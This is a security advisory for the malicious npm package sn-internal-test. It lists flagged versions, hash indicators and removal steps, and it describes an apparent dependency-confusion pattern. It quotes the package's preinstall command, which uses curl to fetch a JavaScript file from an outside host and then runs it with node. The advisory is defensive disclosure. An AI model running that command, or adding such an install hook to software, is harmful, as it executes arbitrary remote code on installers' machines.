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Malicious package

sn-internal-testnpm

Malicious code in sn-internal-test (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5645
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall sn-internal-test

What this malware does

package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install of this package, the installer's machine fetches an unauthenticated, unpinned, mutable JavaScript file from an external author-controlled host and immediately executes it under Node.js with the installer's user privileges, overwriting the package's own index.js. The package describes itself as 'This is our internal app for testing' but is published to the public npm registry with no library functionality — the entire install-time effect is the remote fetch-and-execute. Whatever bytes are served at https://poc.amanrawat.com/hehe.js at install time become arbitrary code running on the installer's machine. The shape is consistent with a dependency-confusion proof-of-concept or active dropper: an internal-sounding name on public npm whose sole behavior is to pull and run remote code.

Malicious versions

2 flagged
1.9.92.1.1

Indicators of compromise (SHA-256)

215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d
7a0d57a0150e9a2783ecf0f9e42dc5e5e75c0e51fc17379ce57f99f9030fc64e
98382d7051ce015fd4cb0d4970d27ca4e798b333fc5a684ffbfe7af2a3010246
9ddef31ce3b7bf8d7d393b847307865e78e02846c3ee11c79900cd6e97a44ac4

Frequently asked questions

No. sn-internal-test on npm has been identified as a malicious package (versions 1.9.9, 2.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005714IN-MAL-2026-005713IN-MAL-2026-005715IN-MAL-2026-005712

References

Credits

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Supply-chain protection
sn-internal-test (npm) malicious package — MAL-2026-5645 | O3 Security